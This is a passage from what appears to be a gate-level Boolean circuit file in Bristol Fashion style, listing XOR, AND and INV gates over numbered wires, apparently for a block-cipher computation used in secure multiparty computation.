610 23008 23051 XOR +2 1 23105 23049 23005 XOR +2 1 614 23005 23092 XOR +2 1 23100 23099 23096 AND +2 1 23096 23051 23091 XOR +2 1 23096 23098 23095 XOR +2 1 23097 23095 23094 AND +2 1 23094 23051 23093 XOR +2 1 23094 23106 23000 XOR +2 1 23000 23036 22996 XOR +2 1 608 22996 22999 XOR +2 1 23094 23045 22997 XOR +2 1 610 22996 22995 XOR +2 1 23091 23092 23090 AND +2 1 23090 23098 23089 XOR +2 1 23096 23090 23088 XOR +2 1 23090 23049 23004 XOR +2 1 23090 23107 23003 XOR +2 1 23003 23104 22998 XOR +2 1 22998 22999 23081 XOR +2 1 23098 23088 23087 AND +2 1 23087 23095 23085 XOR +2 1 23087 23105 23058 XOR +2 1 23058 23052 23079 XOR +2 1 614 23058 23041 XOR +2 1 23041 23004 23086 XOR +2 1 23093 23085 23084 AND +2 1 23084 23054 23044 XOR +2 1 23044 23046 23083 XOR +2 1 23084 23108 23002 XOR +2 1 23041 23002 22994 XOR +2 1 23031 22994 23001 XOR +2 1 22998 23001 23082 XOR +2 1 23044 22997 23080 XOR +2 1 22994 22995 23078 XOR +2 1 23079 23116 23077 AND +2 1 23086 23115 23076 AND +2 1 23089 615 23075 AND +2 1 23075 23077 23057 XOR +2 1 23080 23110 23074 AND +2 1 23083 23122 23073 AND +2 1 23093 23112 23072 AND +2 1 23072 23073 23011 XOR +2 1 23081 23113 23071 AND +2 1 23078 23111 23070 AND +2 1 23070 23073 23026 XOR +1 1 23026 23023 INV +2 1 23070 23071 23022 XOR +2 1 23082 23114 23069 AND +2 1 23079 23120 23068 AND +2 1 23086 23117 23067 AND +2 1 23089 23121 23066 AND +2 1 23080 23125 23065 AND +2 1 23065 23069 23042 XOR +2 1 23074 23065 23027 XOR +1 1 23042 23020 INV +2 1 23083 23118 23064 AND +2 1 23072 23064 23029 XOR +2 1 23093 23119 23063 AND +2 1 23020 23063 23019 XOR +2 1 23019 23057 23015 XOR +2 1 23081 23124 23062 AND +2 1 23062 23015 23018 XOR +2 1 23078 23126 23061 AND +2 1 23061 23062 23056 XOR +2 1 23067 23056 23038 XOR +2 1 23068 23038 23039 XOR +2 1 23076 23039 23043 XOR +2 1 23077 23043 23048 XOR +2 1 23029 23056 23025 XOR +2 1 23057 23025 23028 XOR +2 1 23027 23028 23130 XOR +2 1 23020 23025 23024 XOR +2 1 23023 23024 23129 XOR +2 1 23048 23022 23128 XOR +2 1 23038 23015 23014 XOR +2 1 23075 23043 23012 XOR +2 1 23011 23012 36666 XOR +2 1 36666 540 1436 XOR +2 1 572 1436 1468 XOR +2 1 604 1468 1500 XOR +2 1 636 1500 1532 XOR +2 1 23082 23123 23060 AND +2 1 23071 23060 23021 XOR +1 1 23021 23017 INV +2 1 23017 23018 23127 XOR +1 1 23130 36663 INV +2 1 36663 543 1439 XOR +2 1 575 1439 1471 XOR +2 1 607 1471 1503 XOR +2 1 639 1503 1535 XOR +1 1 23129 36664 INV +1 1 23128 36669 INV +2 1 36669 537 1433 XOR +2 1 569 1433 1465 XOR +2 1 601 1465 1497 XOR +2 1 633 1497 1529 XOR +2 1 1535 1529 21230 XOR +1 1 23127 36668 INV +2 1 36668 538 1434 XOR +2 1 570 1434 1466 XOR +2 1 602 1466 1498 XOR +2 1 634 1498 1530 XOR +2 1 1530 21230 21315 XOR +2 1 36664 542 1438 XOR +2 1 574 1438 1470 XOR +2 1 606 1470 1502 XOR +2 1 638 1502 1534 XOR +2 1 1534 1532 21223 XOR +2 1 1534 21315 21311 XOR +2 1 21315 21311 21298 AND +2 1 21405 21406 32707 XOR +2 1 21402 32707 21382 XOR +2 1 21403 21382 21342 XOR +2 1 21398 21382 21348 XOR +1 1 21348 21345 INV +2 1 21345 21346 36689 XOR +2 1 36689 517 1413 XOR +2 1 549 1413 1445 XOR +2 1 581 1445 1477 XOR +2 1 613 1477 1509 XOR +2 1 1509 20528 20530 XOR +2 1 1505 20530 20611 XOR +2 1 1506 20530 20608 XOR +2 1 20535 20530 20610 XOR +2 1 1510 1509 20545 XOR +2 1 1508 1509 20505 XOR +2 1 21371 21342 36694 XOR +2 1 36694 512 1408 XOR +2 1 544 1408 1440 XOR +2 1 576 1440 1472 XOR +2 1 608 1472 1504 XOR +2 1 1506 1504 20529 XOR +2 1 20529 20535 20617 XOR +2 1 20545 20617 20615 XOR +2 1 1504 1510 20623 XOR +2 1 1504 1509 20621 XOR +2 1 20623 20608 20604 AND +2 1 20604 20529 20533 XOR +2 1 20617 20610 20602 AND +2 1 32707 21380 36691 XOR +2 1 36691 515 1411 XOR +2 1 547 1411 1443 XOR +2 1 579 1443 1475 XOR +2 1 611 1475 1507 XOR +2 1 1507 1505 20531 XOR +2 1 1507 1504 20622 XOR +2 1 20622 20545 20618 XOR +2 1 20528 20622 20614 XOR +2 1 1511 20614 20613 XOR +2 1 1509 1507 20624 XOR +2 1 20529 20624 20609 XOR +2 1 20531 20529 20491 XOR +2 1 20528 20491 20612 XOR +2 1 20531 1506 20490 XOR +2 1 1511 20490 20619 XOR +2 1 20614 20618 20607 AND +2 1 20607 20531 20534 XOR +2 1 20615 20613 20606 AND +2 1 20619 1511 20605 AND +2 1 20622 20611 20601 AND +2 1 20601 20530 20532 XOR +2 1 20534 20532 20538 XOR +2 1 1504 20538 20543 XOR +2 1 20624 20609 20600 AND +2 1 20600 20606 20552 XOR +2 1 20552 20543 20598 XOR +2 1 20600 20601 20504 XOR +2 1 20504 20505 20551 XOR +2 1 20551 20533 20550 XOR +2 1 20603 20550 20597 XOR +2 1 20621 20612 20599 AND +2 1 20599 20602 20553 XOR +2 1 20599 20605 20557 XOR +2 1 20557 20529 20544 XOR +2 1 20552 20544 20595 XOR +2 1 20600 20553 20547 XOR +2 1 20533 20553 20507 XOR +2 1 20507 20532 20596 XOR +2 1 20538 20557 20506 XOR +2 1 1506 20506 20549 XOR +2 1 20603 20547 20503 XOR +2 1 1510 20503 20590 XOR +2 1 20598 20597 20594 AND +2 1 20594 20549 20589 XOR +2 1 20594 20596 20593 XOR +2 1 20595 20593 20592 AND +2 1 20592 20549 20591 XOR +2 1 20592 20604 20498 XOR +2 1 20498 20534 20494 XOR +2 1 1504 20494 20497 XOR +2 1 20592 20543 20495 XOR +2 1 1506 20494 20493 XOR +2 1 20589 20590 20588 AND +2 1 20588 20596 20587 XOR +2 1 20594 20588 20586 XOR +2 1 20588 20547 20502 XOR +2 1 20588 20605 20501 XOR +2 1 20501 20602 20496 XOR +2 1 20496 20497 20579 XOR +2 1 20596 20586 20585 AND +2 1 20585 20593 20583 XOR +2 1 20585 20603 20556 XOR +2 1 20556 20550 20577 XOR +2 1 1510 20556 20539 XOR +2 1 20539 20502 20584 XOR +2 1 20591 20583 20582 AND +2 1 20582 20552 20542 XOR +2 1 20542 20544 20581 XOR +2 1 20582 20606 20500 XOR +2 1 20539 20500 20492 XOR +2 1 20529 20492 20499 XOR +2 1 20496 20499 20580 XOR +2 1 20542 20495 20578 XOR +2 1 20492 20493 20576 XOR +2 1 20577 20614 20575 AND +2 1 20584 20613 20574 AND +2 1 20587 1511 20573 AND +2 1 20573 20575 20555 XOR +2 1 20578 20608 20572 AND +2 1 20581 20620 20571 AND +2 1 20591 20610 20570 AND +2 1 20570 20571 20509 XOR +2 1 20579 20611 20569 AND +2 1 20576 20609 20568 AND +2 1 20568 20571 20524 XOR +1 1 20524 20521 INV +2 1 20568 20569 20520 XOR +2 1 20580 20612 20567 AND +2 1 20577 20618 20566 AND +2 1 20584 20615 20565 AND +2 1 20587 20619 20564 AND +2 1 20578 20623 20563 AND +2 1 20563 20567 20540 XOR +2 1 20572 20563 20525 XOR +1 1 20540 20518 INV +2 1 20581 20616 20562 AND +2 1 20570 20562 20527 XOR +2 1 20591 20617 20561 AND +2 1 20518 20561 20517 XOR +2 1 20517 20555 20513 XOR +2 1 20579 20622 20560 AND +2 1 20560 20513 20516 XOR +2 1 20576 20624 20559 AND +2 1 20559 20560 20554 XOR +2 1 20565 20554 20536 XOR +2 1 20566 20536 20537 XOR +2 1 20574 20537 20541 XOR +2 1 20575 20541 20546 XOR +2 1 20527 20554 20523 XOR +2 1 20555 20523 20526 XOR +2 1 20525 20526 20628 XOR +2 1 20518 20523 20522 XOR +2 1 20521 20522 20627 XOR +2 1 20546 20520 20626 XOR +2 1 20536 20513 20512 XOR +2 1 20573 20541 20510 XOR +2 1 20509 20510 36698 XOR +2 1 36698 1436 1308 XOR +2 1 1468 1308 1340 XOR +2 1 1500 1340 1372 XOR +2 1 1532 1372 1404 XOR +2 1 20580 20621 20558 AND +2 1 20569 20558 20519 XOR +1 1 20519 20515 INV +2 1 20515 20516 20625 XOR +1 1 20628 36695 INV +2 1 36695 1439 1311 XOR +2 1 1471 1311 1343 XOR +2 1 1503 1343 1375 XOR +2 1 1535 1375 1407 XOR +1 1 20627 36696 INV +2 1 36696 1438 1310 XOR +2 1 1470 1310 1342 XOR +2 1 1502 1342 1374 XOR +2 1 1534 1374 1406 XOR +2 1 1406 1404 12734 XOR +1 1 20626 36701 INV +2 1 36701 1433 1305 XOR +1 1 20625 36700 INV +2 1 36700 1434 1306 XOR +2 1 1466 1306 1338 XOR +2 1 1498 1338 1370 XOR +2 1 1530 1370 1402 XOR +2 1 1465 1305 1337 XOR +2 1 1497 1337 1369 XOR +2 1 1529 1369 1401 XOR +2 1 1407 1401 12741 XOR +2 1 1402 12741 12827 XOR +2 1 1406 12827 12823 XOR +2 1 12827 12823 12810 AND +2 1 20571 20572 32701 XOR +2 1 32701 20546 36699 XOR +2 1 20568 32701 20548 XOR +2 1 20564 20548 20514 XOR +1 1 20514 20511 INV +2 1 20511 20512 36697 XOR +2 1 20569 20548 20508 XOR +2 1 20537 20508 36702 XOR +2 1 23073 23074 32719 XOR +2 1 23070 32719 23050 XOR +2 1 23071 23050 23010 XOR +2 1 23039 23010 36670 XOR +2 1 23066 23050 23016 XOR +1 1 23016 23013 INV +2 1 23013 23014 36665 XOR +2 1 32719 23048 36667 XOR +2 1 24609 24610 32723 XOR +2 1 24606 32723 24586 XOR +2 1 24602 24586 24552 XOR +1 1 24552 24549 INV +2 1 24607 24586 24546 XOR +2 1 24575 24546 36606 XOR +2 1 36606 792 664 XOR +2 1 36638 664 536 XOR +2 1 36670 536 1432 XOR +2 1 824 664 696 XOR +2 1 696 536 568 XOR +2 1 568 1432 1464 XOR +2 1 856 696 728 XOR +2 1 728 568 600 XOR +2 1 888 728 760 XOR +2 1 760 766 23682 XOR +2 1 760 600 632 XOR +2 1 634 632 18722 XOR +2 1 18722 18728 18810 XOR +2 1 632 638 18816 XOR +2 1 600 1464 1496 XOR +2 1 632 1496 1528 XOR +2 1 1530 1528 21224 XOR +2 1 21224 21230 21312 XOR +2 1 1528 1534 21318 XOR +2 1 24549 24550 36601 XOR +2 1 36601 797 669 XOR +2 1 36633 669 541 XOR +2 1 829 669 701 XOR +2 1 701 541 573 XOR +2 1 861 701 733 XOR +2 1 733 573 605 XOR +2 1 893 733 765 XOR +2 1 766 765 23603 XOR +2 1 765 23586 23588 XOR +2 1 764 765 23563 XOR +2 1 761 23588 23670 XOR +2 1 23593 23588 23669 XOR +2 1 765 605 637 XOR +2 1 632 637 18814 XOR +2 1 637 18721 18723 XOR +2 1 634 18723 18801 XOR +2 1 18728 18723 18803 XOR +2 1 18816 18801 18797 AND +2 1 18797 18722 18726 XOR +2 1 18810 18803 18795 AND +2 1 633 18723 18804 XOR +2 1 636 637 18698 XOR +2 1 760 765 23680 XOR +2 1 638 637 18738 XOR +2 1 18738 18810 18808 XOR +2 1 762 23588 23667 XOR +2 1 762 760 23587 XOR +2 1 23587 23593 23676 XOR +2 1 23603 23676 23674 XOR +2 1 23676 23669 23661 AND +2 1 36665 541 1437 XOR +2 1 36697 1437 1309 XOR +2 1 36702 1432 1304 XOR +2 1 1464 1304 1336 XOR +2 1 1496 1336 1368 XOR +2 1 1528 1368 1400 XOR +2 1 1402 1400 12735 XOR +2 1 12735 12741 12824 XOR +2 1 1400 1406 12830 XOR +2 1 573 1437 1469 XOR +2 1 1469 1309 1341 XOR +2 1 605 1469 1501 XOR +2 1 637 1501 1533 XOR +2 1 1532 1533 21200 XOR +2 1 1528 1533 21316 XOR +2 1 1501 1341 1373 XOR +2 1 1533 1373 1405 XOR +2 1 1405 12734 12736 XOR +2 1 1401 12736 12818 XOR +2 1 1402 12736 12815 XOR +2 1 12741 12736 12817 XOR +2 1 1406 1405 12752 XOR +2 1 1404 1405 12711 XOR +2 1 1534 1533 21240 XOR +2 1 21240 21312 21310 XOR +2 1 1533 21223 21225 XOR +2 1 1530 21225 21303 XOR +2 1 21230 21225 21305 XOR +2 1 21318 21303 21299 AND +2 1 21312 21305 21297 AND +2 1 21299 21224 21228 XOR +2 1 12752 12824 12822 XOR +2 1 1400 1405 12828 XOR +2 1 12830 12815 12811 AND +2 1 12811 12735 12739 XOR +2 1 12824 12817 12809 AND +2 1 1529 21225 21306 XOR +2 1 23682 23667 23663 AND +2 1 23663 23587 23591 XOR +2 1 32723 24584 36603 XOR +2 1 36603 795 667 XOR +2 1 827 667 699 XOR +2 1 859 699 731 XOR +2 1 891 731 763 XOR +2 1 36635 667 539 XOR +2 1 699 539 571 XOR +2 1 36667 539 1435 XOR +2 1 731 571 603 XOR +2 1 763 603 635 XOR +2 1 571 1435 1467 XOR +2 1 603 1467 1499 XOR +2 1 635 1499 1531 XOR +2 1 36699 1435 1307 XOR +2 1 635 633 18724 XOR +2 1 635 632 18815 XOR +2 1 18815 18738 18811 XOR +2 1 18721 18815 18807 XOR +2 1 639 18807 18806 XOR +2 1 637 635 18817 XOR +2 1 18722 18817 18802 XOR +2 1 18724 18722 18684 XOR +2 1 18721 18684 18805 XOR +2 1 18724 634 18683 XOR +2 1 639 18683 18812 XOR +2 1 18807 18811 18800 AND +2 1 18800 18724 18727 XOR +2 1 18808 18806 18799 AND +2 1 18812 639 18798 AND +2 1 18815 18804 18794 AND +2 1 18794 18723 18725 XOR +2 1 18727 18725 18731 XOR +2 1 632 18731 18736 XOR +2 1 18817 18802 18793 AND +2 1 18793 18799 18745 XOR +2 1 18745 18736 18791 XOR +2 1 18793 18794 18697 XOR +2 1 18697 18698 18744 XOR +2 1 18744 18726 18743 XOR +2 1 18796 18743 18790 XOR +2 1 18814 18805 18792 AND +2 1 18792 18795 18746 XOR +2 1 18792 18798 18750 XOR +2 1 18750 18722 18737 XOR +2 1 18745 18737 18788 XOR +2 1 18793 18746 18740 XOR +2 1 18726 18746 18700 XOR +2 1 18700 18725 18789 XOR +2 1 18731 18750 18699 XOR +2 1 634 18699 18742 XOR +2 1 18796 18740 18696 XOR +2 1 638 18696 18783 XOR +2 1 18791 18790 18787 AND +2 1 18787 18742 18782 XOR +2 1 18787 18789 18786 XOR +2 1 18788 18786 18785 AND +2 1 18785 18742 18784 XOR +2 1 18785 18797 18691 XOR +2 1 18691 18727 18687 XOR +2 1 632 18687 18690 XOR +2 1 18785 18736 18688 XOR +2 1 634 18687 18686 XOR +2 1 18782 18783 18781 AND +2 1 18781 18789 18780 XOR +2 1 18787 18781 18779 XOR +2 1 18781 18740 18695 XOR +2 1 18781 18798 18694 XOR +2 1 18694 18795 18689 XOR +2 1 18689 18690 18772 XOR +2 1 18789 18779 18778 AND +2 1 18778 18786 18776 XOR +2 1 18778 18796 18749 XOR +2 1 18749 18743 18770 XOR +2 1 638 18749 18732 XOR +2 1 18732 18695 18777 XOR +2 1 18784 18776 18775 AND +2 1 18775 18745 18735 XOR +2 1 18735 18737 18774 XOR +2 1 18775 18799 18693 XOR +2 1 18732 18693 18685 XOR +2 1 18722 18685 18692 XOR +2 1 18689 18692 18773 XOR +2 1 18735 18688 18771 XOR +2 1 18685 18686 18769 XOR +2 1 18770 18807 18768 AND +2 1 18777 18806 18767 AND +2 1 18780 639 18766 AND +2 1 18766 18768 18748 XOR +2 1 18771 18801 18765 AND +2 1 18774 18813 18764 AND +2 1 18784 18803 18763 AND +2 1 18763 18764 18702 XOR +2 1 18772 18804 18762 AND +2 1 18769 18802 18761 AND +2 1 18761 18764 18717 XOR +1 1 18717 18714 INV +2 1 18761 18762 18713 XOR +2 1 18773 18805 18760 AND +2 1 18770 18811 18759 AND +2 1 18777 18808 18758 AND +2 1 18780 18812 18757 AND +2 1 18771 18816 18756 AND +2 1 18756 18760 18733 XOR +2 1 18765 18756 18718 XOR +1 1 18733 18711 INV +2 1 18774 18809 18755 AND +2 1 18763 18755 18720 XOR +2 1 18784 18810 18754 AND +2 1 18711 18754 18710 XOR +2 1 18710 18748 18706 XOR +2 1 18772 18815 18753 AND +2 1 18753 18706 18709 XOR +2 1 18769 18817 18752 AND +2 1 18752 18753 18747 XOR +2 1 18758 18747 18729 XOR +2 1 18759 18729 18730 XOR +2 1 18767 18730 18734 XOR +2 1 18768 18734 18739 XOR +2 1 18720 18747 18716 XOR +2 1 18748 18716 18719 XOR +2 1 18718 18719 18821 XOR +2 1 18711 18716 18715 XOR +2 1 18714 18715 18820 XOR +2 1 18739 18713 18819 XOR +2 1 18729 18706 18705 XOR +2 1 18766 18734 18703 XOR +2 1 18702 18703 36674 XOR +2 1 18773 18814 18751 AND +2 1 18762 18751 18712 XOR +1 1 18712 18708 INV +2 1 18708 18709 18818 XOR +1 1 18821 36671 INV +1 1 18820 36672 INV +1 1 18819 36677 INV +1 1 18818 36676 INV +2 1 1531 1529 21226 XOR +2 1 1531 1528 21317 XOR +2 1 21317 21240 21313 XOR +2 1 21223 21317 21309 XOR +2 1 1535 21309 21308 XOR +2 1 1533 1531 21319 XOR +2 1 21224 21319 21304 XOR +2 1 21226 21224 21186 XOR +2 1 21223 21186 21307 XOR +2 1 21226 1530 21185 XOR +2 1 1535 21185 21314 XOR +2 1 21309 21313 21302 AND +2 1 21302 21226 21229 XOR +2 1 21310 21308 21301 AND +2 1 21314 1535 21300 AND +2 1 21317 21306 21296 AND +2 1 21296 21225 21227 XOR +2 1 21229 21227 21233 XOR +2 1 1528 21233 21238 XOR +2 1 21319 21304 21295 AND +2 1 21295 21301 21247 XOR +2 1 21247 21238 21293 XOR +2 1 21295 21296 21199 XOR +2 1 21199 21200 21246 XOR +2 1 21246 21228 21245 XOR +2 1 21298 21245 21292 XOR +2 1 21316 21307 21294 AND +2 1 21294 21297 21248 XOR +2 1 21294 21300 21252 XOR +2 1 21252 21224 21239 XOR +2 1 21247 21239 21290 XOR +2 1 21295 21248 21242 XOR +2 1 21228 21248 21202 XOR +2 1 21202 21227 21291 XOR +2 1 21233 21252 21201 XOR +2 1 1530 21201 21244 XOR +2 1 21298 21242 21198 XOR +2 1 1534 21198 21285 XOR +2 1 21293 21292 21289 AND +2 1 21289 21244 21284 XOR +2 1 21289 21291 21288 XOR +2 1 21290 21288 21287 AND +2 1 21287 21244 21286 XOR +2 1 21287 21299 21193 XOR +2 1 21193 21229 21189 XOR +2 1 1528 21189 21192 XOR +2 1 21287 21238 21190 XOR +2 1 1530 21189 21188 XOR +2 1 21284 21285 21283 AND +2 1 21283 21291 21282 XOR +2 1 21289 21283 21281 XOR +2 1 21283 21242 21197 XOR +2 1 21283 21300 21196 XOR +2 1 21196 21297 21191 XOR +2 1 21191 21192 21274 XOR +2 1 21291 21281 21280 AND +2 1 21280 21288 21278 XOR +2 1 21280 21298 21251 XOR +2 1 21251 21245 21272 XOR +2 1 1534 21251 21234 XOR +2 1 21234 21197 21279 XOR +2 1 21286 21278 21277 AND +2 1 21277 21247 21237 XOR +2 1 21237 21239 21276 XOR +2 1 21277 21301 21195 XOR +2 1 21234 21195 21187 XOR +2 1 21224 21187 21194 XOR +2 1 21191 21194 21275 XOR +2 1 21237 21190 21273 XOR +2 1 21187 21188 21271 XOR +2 1 21272 21309 21270 AND +2 1 21279 21308 21269 AND +2 1 21282 1535 21268 AND +2 1 21268 21270 21250 XOR +2 1 21273 21303 21267 AND +2 1 21276 21315 21266 AND +2 1 21286 21305 21265 AND +2 1 21265 21266 21204 XOR +2 1 21274 21306 21264 AND +2 1 21271 21304 21263 AND +2 1 21263 21266 21219 XOR +1 1 21219 21216 INV +2 1 21263 21264 21215 XOR +2 1 21275 21307 21262 AND +2 1 21272 21313 21261 AND +2 1 21279 21310 21260 AND +2 1 21282 21314 21259 AND +2 1 21273 21318 21258 AND +2 1 21258 21262 21235 XOR +2 1 21267 21258 21220 XOR +1 1 21235 21213 INV +2 1 21276 21311 21257 AND +2 1 21265 21257 21222 XOR +2 1 21286 21312 21256 AND +2 1 21213 21256 21212 XOR +2 1 21212 21250 21208 XOR +2 1 21274 21317 21255 AND +2 1 21255 21208 21211 XOR +2 1 21271 21319 21254 AND +2 1 21254 21255 21249 XOR +2 1 21260 21249 21231 XOR +2 1 21261 21231 21232 XOR +2 1 21269 21232 21236 XOR +2 1 21270 21236 21241 XOR +2 1 21222 21249 21218 XOR +2 1 21250 21218 21221 XOR +2 1 21220 21221 21323 XOR +2 1 21213 21218 21217 XOR +2 1 21216 21217 21322 XOR +2 1 21241 21215 21321 XOR +2 1 21231 21208 21207 XOR +2 1 21268 21236 21205 XOR +2 1 21204 21205 36706 XOR +2 1 21275 21316 21253 AND +2 1 21264 21253 21214 XOR +1 1 21214 21210 INV +2 1 21210 21211 21320 XOR +1 1 21323 36703 INV +1 1 21322 36704 INV +1 1 21321 36709 INV +1 1 21320 36708 INV +2 1 1467 1307 1339 XOR +2 1 1499 1339 1371 XOR +2 1 1531 1371 1403 XOR +2 1 1403 1401 12737 XOR +2 1 1403 1400 12829 XOR +2 1 12829 12752 12825 XOR +2 1 12734 12829 12821 XOR +2 1 1407 12821 12820 XOR +2 1 1405 1403 12831 XOR +2 1 12735 12831 12816 XOR +2 1 12737 12735 12697 XOR +2 1 12734 12697 12819 XOR +2 1 12737 1402 12696 XOR +2 1 1407 12696 12826 XOR +2 1 12821 12825 12814 AND +2 1 12814 12737 12740 XOR +2 1 12822 12820 12813 AND +2 1 12826 1407 12812 AND +2 1 12829 12818 12808 AND +2 1 12808 12736 12738 XOR +2 1 12740 12738 12744 XOR +2 1 1400 12744 12750 XOR +2 1 12831 12816 12807 AND +2 1 12807 12813 12759 XOR +2 1 12759 12750 12805 XOR +2 1 12807 12808 12710 XOR +2 1 12710 12711 12758 XOR +2 1 12758 12739 12757 XOR +2 1 12810 12757 12804 XOR +2 1 12828 12819 12806 AND +2 1 12806 12809 12760 XOR +2 1 12806 12812 12764 XOR +2 1 12764 12735 12751 XOR +2 1 12759 12751 12802 XOR +2 1 12807 12760 12754 XOR +2 1 12739 12760 12713 XOR +2 1 12713 12738 12803 XOR +2 1 12744 12764 12712 XOR +2 1 1402 12712 12756 XOR +2 1 12810 12754 12709 XOR +2 1 1406 12709 12797 XOR +2 1 12805 12804 12801 AND +2 1 12801 12756 12796 XOR +2 1 12801 12803 12800 XOR +2 1 12802 12800 12799 AND +2 1 12799 12756 12798 XOR +2 1 12799 12811 12704 XOR +2 1 12704 12740 12700 XOR +2 1 1400 12700 12703 XOR +2 1 12799 12750 12701 XOR +2 1 1402 12700 12699 XOR +2 1 12796 12797 12795 AND +2 1 12795 12803 12794 XOR +2 1 12801 12795 12793 XOR +2 1 12795 12754 12708 XOR +2 1 12795 12812 12707 XOR +2 1 12707 12809 12702 XOR +2 1 12702 12703 12786 XOR +2 1 12803 12793 12792 AND +2 1 12792 12800 12790 XOR +2 1 12792 12810 12763 XOR +2 1 12763 12757 12784 XOR +2 1 1406 12763 12745 XOR +2 1 12745 12708 12791 XOR +2 1 12798 12790 12789 AND +2 1 12789 12759 12749 XOR +2 1 12749 12751 12788 XOR +2 1 12789 12813 12706 XOR +2 1 12745 12706 12698 XOR +2 1 12735 12698 12705 XOR +2 1 12702 12705 12787 XOR +2 1 12749 12701 12785 XOR +2 1 12698 12699 12783 XOR +2 1 12784 12821 12782 AND +2 1 12791 12820 12781 AND +2 1 12794 1407 12780 AND +2 1 12780 12782 12762 XOR +2 1 12785 12815 12779 AND +2 1 12788 12827 12778 AND +2 1 12778 12779 12747 XOR +2 1 12798 12817 12777 AND +2 1 12777 12778 12715 XOR +2 1 12786 12818 12776 AND +2 1 12783 12816 12775 AND +2 1 12775 12747 12755 XOR +2 1 12775 12778 12730 XOR +1 1 12730 12727 INV +2 1 12775 12776 12726 XOR +2 1 12776 12755 12714 XOR +2 1 12787 12819 12774 AND +2 1 12784 12825 12773 AND +2 1 12791 12822 12772 AND +2 1 12794 12826 12771 AND +2 1 12771 12755 12720 XOR +1 1 12720 12717 INV +2 1 12785 12830 12770 AND +2 1 12770 12774 12746 XOR +2 1 12779 12770 12731 XOR +1 1 12746 12724 INV +2 1 12788 12823 12769 AND +2 1 12777 12769 12733 XOR +2 1 12798 12824 12768 AND +2 1 12724 12768 12723 XOR +2 1 12723 12762 12719 XOR +2 1 12786 12829 12767 AND +2 1 12767 12719 12722 XOR +2 1 12783 12831 12766 AND +2 1 12766 12767 12761 XOR +2 1 12772 12761 12742 XOR +2 1 12773 12742 12743 XOR +2 1 12781 12743 12748 XOR +2 1 12782 12748 12753 XOR +2 1 12747 12753 36739 XOR +2 1 12733 12761 12729 XOR +2 1 12762 12729 12732 XOR +2 1 12731 12732 12835 XOR +2 1 12724 12729 12728 XOR +2 1 12727 12728 12834 XOR +2 1 12753 12726 12833 XOR +2 1 12742 12719 12718 XOR +2 1 12717 12718 36737 XOR +2 1 12780 12748 12716 XOR +2 1 12715 12716 36738 XOR +2 1 12743 12714 36742 XOR +2 1 12787 12828 12765 AND +2 1 12776 12765 12725 XOR +1 1 12725 12721 INV +2 1 12721 12722 12832 XOR +1 1 12835 36735 INV +1 1 12834 36736 INV +1 1 12833 36741 INV +1 1 12832 36740 INV +2 1 763 761 23589 XOR +2 1 763 760 23681 XOR +2 1 23681 23603 23677 XOR +2 1 23586 23681 23673 XOR +2 1 767 23673 23672 XOR +2 1 765 763 23683 XOR +2 1 23587 23683 23668 XOR +2 1 23589 23587 23549 XOR +2 1 23586 23549 23671 XOR +2 1 23589 762 23548 XOR +2 1 767 23548 23678 XOR +2 1 23673 23677 23666 AND +2 1 23666 23589 23592 XOR +2 1 23674 23672 23665 AND +2 1 23678 767 23664 AND +2 1 23681 23670 23660 AND +2 1 23660 23588 23590 XOR +2 1 23592 23590 23596 XOR +2 1 760 23596 23601 XOR +2 1 23683 23668 23659 AND +2 1 23659 23665 23610 XOR +2 1 23610 23601 23657 XOR +2 1 23659 23660 23562 XOR +2 1 23562 23563 23609 XOR +2 1 23609 23591 23608 XOR +2 1 23662 23608 23656 XOR +2 1 23680 23671 23658 AND +2 1 23658 23661 23611 XOR +2 1 23658 23664 23615 XOR +2 1 23615 23587 23602 XOR +2 1 23610 23602 23654 XOR +2 1 23659 23611 23605 XOR +2 1 23591 23611 23565 XOR +2 1 23565 23590 23655 XOR +2 1 23596 23615 23564 XOR +2 1 762 23564 23607 XOR +2 1 23662 23605 23561 XOR +2 1 766 23561 23649 XOR +2 1 23657 23656 23653 AND +2 1 23653 23607 23648 XOR +2 1 23653 23655 23652 XOR +2 1 23654 23652 23651 AND +2 1 23651 23607 23650 XOR +2 1 23651 23663 23556 XOR +2 1 23556 23592 23552 XOR +2 1 760 23552 23555 XOR +2 1 23651 23601 23553 XOR +2 1 762 23552 23551 XOR +2 1 23648 23649 23647 AND +2 1 23647 23655 23646 XOR +2 1 23653 23647 23645 XOR +2 1 23647 23605 23560 XOR +2 1 23647 23664 23559 XOR +2 1 23559 23661 23554 XOR +2 1 23554 23555 23638 XOR +2 1 23655 23645 23644 AND +2 1 23644 23652 23642 XOR +2 1 23644 23662 23614 XOR +2 1 23614 23608 23636 XOR +2 1 766 23614 23597 XOR +2 1 23597 23560 23643 XOR +2 1 23650 23642 23641 AND +2 1 23641 23610 23600 XOR +2 1 23600 23602 23640 XOR +2 1 23641 23665 23558 XOR +2 1 23597 23558 23550 XOR +2 1 23587 23550 23557 XOR +2 1 23554 23557 23639 XOR +2 1 23600 23553 23637 XOR +2 1 23550 23551 23635 XOR +2 1 23636 23673 23634 AND +2 1 23643 23672 23633 AND +2 1 23646 767 23632 AND +2 1 23632 23634 23613 XOR +2 1 23637 23667 23631 AND +2 1 23640 23679 23630 AND +2 1 23630 23631 23616 XOR +2 1 23650 23669 23629 AND +2 1 23629 23630 23567 XOR +2 1 23638 23670 23628 AND +2 1 23635 23668 23627 AND +2 1 23627 23616 23606 XOR +2 1 23627 23630 23582 XOR +1 1 23582 23579 INV +2 1 23627 23628 23578 XOR +2 1 23628 23606 23566 XOR +2 1 23639 23671 23626 AND +2 1 23636 23677 23625 AND +2 1 23643 23674 23624 AND +2 1 23646 23678 23623 AND +2 1 23623 23606 23572 XOR +1 1 23572 23569 INV +2 1 23637 23682 23622 AND +2 1 23622 23626 23598 XOR +2 1 23631 23622 23583 XOR +1 1 23598 23576 INV +2 1 23640 23675 23621 AND +2 1 23629 23621 23585 XOR +2 1 23650 23676 23620 AND +2 1 23576 23620 23575 XOR +2 1 23575 23613 23571 XOR +2 1 23638 23681 23619 AND +2 1 23619 23571 23574 XOR +2 1 23635 23683 23618 AND +2 1 23618 23619 23612 XOR +2 1 23624 23612 23594 XOR +2 1 23625 23594 23595 XOR +2 1 23633 23595 23599 XOR +2 1 23634 23599 23604 XOR +2 1 23616 23604 36643 XOR +2 1 36643 659 531 XOR +2 1 691 531 563 XOR +2 1 723 563 595 XOR +2 1 755 595 627 XOR +2 1 23585 23612 23581 XOR +2 1 23613 23581 23584 XOR +2 1 23583 23584 23687 XOR +2 1 23576 23581 23580 XOR +2 1 23579 23580 23686 XOR +2 1 23604 23578 23685 XOR +2 1 23594 23571 23570 XOR +2 1 23569 23570 36641 XOR +2 1 36641 661 533 XOR +2 1 693 533 565 XOR +2 1 725 565 